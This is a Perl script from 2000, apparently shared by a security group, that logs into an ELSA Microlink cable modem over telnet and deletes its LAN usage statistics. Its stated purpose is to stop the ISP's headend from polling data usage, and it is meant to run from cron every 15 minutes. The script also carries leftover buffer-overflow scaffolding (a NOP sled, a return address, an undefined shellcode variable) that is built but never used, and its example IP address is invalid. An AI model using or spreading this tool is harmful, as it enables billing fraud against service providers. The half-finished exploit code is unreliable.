#!/usr/bin/perl
#
# ELSA Microlink cablemodem reset script
#
# This script will reset your usage statistic,
# disallowing the CMTS to poll your data usage.
#
# The best results are gained from running this
# script every 15 minutes from the crontab.
#
# The IP of your cablemodem is usually your public
# IP with 254 as D-mask,
# ie: 123.456.789.123 public IP will result in 
# 123.456.789.254 as your modem IP.

# < By Zonez@Zonez.nu >
# Zonez security 27-8-2000


# Set your password below. Leave empty if no password set

$passwd = "";

# Modify anything below this line on your own risk!!
# -----------------------------------------------------------

use Getopt::Std;
use Socket;
getopt('h:m', \%args);
if(defined($args{h})){$serv=$args{h}}else{&usage;}
$ret = "00aedc5a";						
$nop = "\x90";							
$port = 23;							
$buffsize = "1348";					
$buffer .= $nop x 945;						
$buffer .= $shellcode;						
$offset = (hex $ret);						
$code = pack("N", $offset);					
while (length $buffer < $buffsize) { $buffer .= $code; }
$buffer .= "\n\n";
$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(S, $paddr) || die("Error: $!\n");
select(S); $| = 1; select(STDOUT);
print "Connecting to device $serv\n";
$res=<S>; 
system("sleep 1s");
print "sending password\n";  
print S "$passwd\r\n";
$res=<S>; 
$res=<S>; 
$res=<S>; 
$res=<S>; 
$res=<S>; 
$res=<S>; 
$res=<S>; 
$res=<S>; 
$res=<S>; 
$res=<S>; 
$res=<S>; 
system("sleep 1s");
print "changing to statistics\n";  
print S "cd stat\r\n";
$res=<S>; 
$res=<S>; 
system("sleep 1s");
print "changing to lan statistics\n";  
print S "cd lan\r\n";
$res=<S>; 
$res=<S>;
$res=<S>; 
$res=<S>;
$res=<S>; 
system("sleep 1s");
print "starting action delete values\n";  
system("sleep 1s");
print S "do del\r\n";
$res=<S>;
$res=<S>; print "$res\n";
print S "quit\r\n";
print S "exit\r\n";
close(S);
sub usage {die("\n\n./$0 -h IP of modem     (DON'T FORGET TO SET PASSWORD IN SCRIPT!)\n\n");}
